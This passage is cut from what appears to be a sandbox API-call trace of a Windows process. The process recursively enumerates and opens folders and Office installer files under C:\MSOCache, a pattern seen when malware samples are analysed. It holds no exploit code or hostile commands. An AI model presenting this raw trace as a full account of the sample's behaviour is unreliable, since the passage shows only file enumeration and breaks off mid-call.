Flags=0x8, Size=0x80) returned 0xf7f148 [0035.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f7a8 [0035.489] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f720 [0035.489] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x60b670 [0035.492] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.492] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0035.492] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 0 [0035.492] GetLastError () returned 0x12 [0035.492] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\*", fInfoLevelId=0x1, lpFindFileData=0x174f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f77c) returned 0x603778 [0035.494] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0035.512] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.512] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="")) returned 1 [0035.512] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.512] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0035.988] CreateFileW (lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0035.988] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0035.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0035.988] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0035.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0035.988] NtClose (Handle=0x180) returned 0x0 [0035.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0035.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0035.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0035.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0035.988] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0036.112] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.159] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.160] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.160] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.160] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 0 [0036.160] GetLastError () returned 0x12 [0036.160] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0036.160] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0036.160] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.160] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0036.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.160] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0036.207] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0036.207] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0036.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0036.207] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0036.207] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0036.207] NtClose (Handle=0x180) returned 0x0 [0036.207] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0036.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf85a58 [0036.207] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.207] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86470 [0036.207] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60b670 [0036.207] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.208] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0036.208] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.208] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.208] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.208] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.208] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86578 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85f48 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86680 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85f68 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86788 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85f88 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf86890 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0036.209] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0036.209] RtlAllocateHeap (HeapHandle=0xf70000, 